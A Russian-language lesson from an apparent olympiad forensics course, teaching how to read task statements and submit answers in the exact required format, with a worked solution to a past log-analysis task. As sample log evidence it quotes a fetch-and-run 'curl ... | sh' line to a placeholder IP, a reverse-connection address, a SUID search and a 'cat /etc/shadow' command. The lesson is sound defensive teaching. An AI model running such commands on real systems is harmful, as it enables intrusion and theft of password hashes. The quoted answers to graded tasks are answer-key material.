Урок 1. Как читать условие и не терять баллы

Определяем, что именно требуется найти и в каком виде сдавать ответ.

В задачах по расследованию редко проигрывают из-за того, что не знают ещё одну команду. Гораздо чаще ученик находит правильный фрагмент данных, но отвечает не на тот вопрос: сдаёт имя вместо полного пути, IP без порта, описание команды вместо её точной строки или время подозрительного запроса вместо времени успешного действия.

Поэтому работа начинается не с терминала. Длинное условие сначала раскладывается на требуемый объект, условия отбора и формат ответа.

Представьте фрагмент условия:

Укажите полный путь к первому файлу, который был успешно прочитан пользователем backup после входа с внешнего адреса. Ответ дайте с учётом регистра.

В одном предложении уже зафиксированы пять ограничений:

  • требуется путь, а не содержимое файла и не его хеш;
  • путь должен быть полным, поэтому secret.txt недостаточно;
  • нужен первый подходящий объект по времени;
  • доступ должен быть успешным, а не только запрошенным;
  • событие должно произойти после конкретного входа и относиться к пользователю backup.

Если потерять хотя бы одно слово, можно провести аккуратное расследование и всё равно получить неверный ответ.

Карточка требования

Для каждого пункта задачи достаточно зафиксировать четыре характеристики.

Часть Что фиксируется Пример
Объект Сущность, которую требуется назвать файл, пользователь, запрос, команда, хеш
Условие отбора Признаки подходящего объекта первый, успешный, внешний, после входа
Формат Требуемый вид ответа полный путь, host:port, METHOD /path, время ISO 8601
Достаточность Событие, которое должно быть подтверждено не попытка, а успешное чтение

Это занимает меньше минуты, но резко сокращает количество бесполезных действий.

Слово «полный» почти всегда меняет автоматическую проверку ответа. Если спрашивают полный путь, /srv/backup/keys.txt и keys.txt — разные ответы. Слово «с расширением» отличает report.docx от report. Слово «команда» обычно означает всю строку запуска: программу, аргументы, кавычки и пути.

Основные типы ответов на ВСОШ

Имя файла и полный путь

Имя файла — последняя часть пути:

/opt/cache/update.sh  →  update.sh

Если вопрос просит имя, ответ /opt/cache/update.sh может быть не принят. Если просит полный путь, update.sh недостаточно даже при правильном понимании события.

Сетевой адрес

Вопросы различают:

  • IP: 198.51.100.24;
  • порт: 4444;
  • адрес вместе с портом: 198.51.100.24:4444;
  • URL: https://updates.example.invalid/payload;
  • HTTP path: /api/v1/export.

Не дополняйте ответ тем, чего не просили. Если нужен host:port, URL с протоколом и путём — уже другой объект.

HTTP-запрос

Формат METHOD /path означает, например:

POST /api/report

Параметры после знака ? включаются только тогда, когда это прямо сказано. Имя сервера, версия HTTP и код ответа тоже не добавляются «для полноты» без требования.

Команда

Рассмотрим CSV-поле:

/bin/sh -c "curl -fsS http://203.0.113.17/a | sh"

Ответ «запустили curl» объясняет смысл, но не является командной строкой. Ответ curl -fsS ... тоже может быть неполным: в журнале зафиксирован запуск /bin/sh -c, и именно он мог требоваться вопросом.

Контрольная сумма

Контрольная сумма помогает проверить, что два файла состоят из одинаковых байтов. У неё всегда есть алгоритм и конкретный файл:

  • SHA-256 скачанного ZIP;
  • SHA-256 JAR внутри ZIP;
  • SHA-256 класса внутри JAR;
  • SHA-256 восстановленного файла.

Строка из 64 шестнадцатеричных символов сама по себе ничего не говорит о том, для какого файла она посчитана. Поэтому в заметке всегда пишите рядом имя файла.

yes/no и объяснение

Вопрос «получил ли атакующий root?» не равен вопросу «пытался ли он выполнить sudo?». Для yes нужен признак успешного эффекта; для no — достаточное покрытие источников, чтобы отрицательный вывод был обоснован. Подробно это разберём в следующем уроке.

Условие просит полный путь. Найдено /srv/archive/report.csv. Что соответствует контракту? · 4 б.

Карта вопросов

Многочастную задачу удобно превратить в таблицу до поиска ответов.

Что спрашивают Тип ответа Вероятный источник Якорь Достаточно, если…
1 внешний запрос METHOD /path журнал web-доступа исходный IP, ID запроса запрос связан с событием процесса
2 команда точная команда журнал процессов ID запроса, PID есть успешное создание процесса
3 новый пользователь имя пользователя журнал входов время, исходный IP вход имеет result=success
4 прочитанный файл полный путь журнал доступа к файлам пользователь, ID сессии операция read успешна

Таблица не угадывает ответы. Она только задаёт порядок работы. Например, номер запроса из первого вопроса может привести к номеру процесса, процесс — к пользователю, а пользователь — к журналу доступа к файлам.

Дешёвая первая проверка

Первую проверку удобно сделать по заголовку таблицы и нескольким первым строкам:

head -n 3 demo_process.csv
wc -l demo_process.csv

Если вопрос просит командную строку, файл с полями pid,parent_pid,command_line,result перспективнее auth.log. Это решение принимается по структуре колонок, а не по количеству «подозрительных» слов.

После выбора источника можно сделать точечный поиск:

grep -n 'D-017' demo_process.csv

Номер строки полезно записать рядом с ответом: так вы сможете быстро вернуться к доказательству. CSV-файл также удобно открыть в Visual Studio Code: расширение CSV Table уже установлено на олимпиадной Kali и показывает данные в виде таблицы.

Что сдавать, если просят точную строку запуска процесса? · 4 б.

Разбор короткого примера

Пусть вопрос звучит так:

Какую полную команду выполнил demo-процесс D-017? Сдайте значение поля command_line без внешних CSV-кавычек.

Порядок решения:

  1. Тип ответа — точная командная строка.
  2. Ориентир для поиска — номер процесса D-017.
  3. Нужный файл — demo_process.csv, потому что в нём есть столбец command_line.
  4. Проверка — найти запись D-017 и убедиться, что это одна строка события, а не упоминание в описании.
  5. Убрать только служебные внешние кавычки CSV. Кавычки внутри команды оставить.

Ошибочный маршрут — искать D-017 сразу во всех файлах и копировать первый фрагмент рядом. Такой поиск может привести к записи другого журнала, где команда сокращена или экранирована иначе. Demo-имена и ID не совпадают с самостоятельным набором.

Реальная задача ВСОШ

«Деревенский сыщик» · региональный этап 2025–2026 · 9 класс
Формат: CSV-журнал Elastic Agent и пять точных ответов; на каждый вопрос давалось не более трёх попыток.
Проверяемый навык: разделить серию на пять отдельных вопросов и связать документ, сетевое соединение, процессы и команды.
Открыть исходное условие и авторское решение

Подробный разбор реальной задачи ВСОШ: «Деревенский сыщик»

Участник получал CSV-журналы Elastic Agent и отвечал без оболочки vsosh{}. У вопросов были разные форматы, поэтому один найденный подозрительный адрес нельзя было механически подставить во всю серию.

1. Вредоносный документ

Требовалось имя файла с расширением. Авторский разбор предлагает сначала выделить необычное исходящее соединение, затем сопоставить PID и родительский PID процессов. Цепочка приводит к открытию документа resume_somina_olga.odt, после которого возникает обратное соединение.

Точный ответ:

resume_somina_olga.odt

Достаточное доказательство в исходном CSV должно связывать событие открытия этого файла с дочерним процессом или сетевым событием. Одно совпадение по расширению .odt недостаточно.

2. Адрес обратного соединения

В сетевых событиях разбор выделяет исходящее соединение на 92.255.109.123 и порт 9001. Контракт требует ровно формат ip:port:

92.255.109.123:9001

IP без порта и URL с протоколом были бы ответами другого типа. Само соединение подтверждает сетевой факт; связь с предыдущим пунктом требует совпадения времени и процесса.

3. Файл повышения привилегий

По дальнейшей цепочке команд найден исполняемый файл /tmp/security-check, использованный для получения повышенных прав. Здесь нужен полный путь:

/tmp/security-check

Ответ security-check потерял бы каталог и не выполнил контракт.

4. Команда поиска SUID-файлов

Перед запуском найденного бинарника выполнялся поиск файлов с битом SUID:

find / -perm -4000 2>/dev/null

Авторское решение отдельно отмечает, что вариант без перенаправления 2>/dev/null также принимался. Это оговорка конкретной проверки; в другой задаче следует сдавать ровно ту командную строку, которую просит условие.

5. Получение хешей пользователей

После повышения прав в журнале присутствует чтение /etc/shadow:

cat /etc/shadow

Эта команда отвечает на вопрос о способе получения хешей паролей. Формулировка «прочитал shadow» объясняет смысл, но не заменяет точную команду.

Как оформить доказательства

Авторский DOCX показывает фильтрацию таблицы и связи PID/parent PID, но не публикует стабильные идентификаторы всех строк. Поэтому значения ответов выше можно проверить по решению, а указатели доказательств нельзя выдумывать. При работе с оригинальным CSV для каждого пункта нужно записать имя файла журнала и стабильный event ID либо номер строки, время, PID/parent PID и релевантное поле.

Главный вывод: в многочастной серии имя документа, адрес с портом, полный путь и две команды — это пять разных ответов. На каждый из них нужно отдельное подтверждение.

Практика урока

Скачайте l1_casebook.zip. Сначала прочитайте questions.md, затем посмотрите только первые строки каждого источника.

  • C1 проверяет, можете ли вы назвать тип ответа по формулировке.
  • C2 проверяет выбор первого источника до поиска значения.
  • C3 требует извлечь точную строку запуска без потери аргументов.

Три задачи специально разделяют чтение условия, выбор источника и извлечение значения. Если выполнить только последний шаг, легко получить технически верные данные в неправильном виде. Точный ответ начинается ещё до поиска: с понимания объекта и формата.

Во втором уроке внимание сместится с формы ответа на его обоснованность. Подозрительная строка может подходить по формату и всё равно не доказывать событие.

Скачать практический набор: l1_casebook.zip
C1

C1. Контракт ответа

8 б.

Откройте questions.md из набора урока. Какой тип ответа требует формулировка «укажите полный путь»? Выберите токен: basename, absolute-path, host-port или command-line.

C2

C2. Первый источник

10 б.

Какой файл набора нужно проверить первым, чтобы получить полную строку запуска процесса P-104? Сдайте точное имя файла.

C3

C3. Ответ без лишнего

12 б.

Найдите событие P-104 и сдайте точное значение command_line: путь к программе и все аргументы, без пересказа.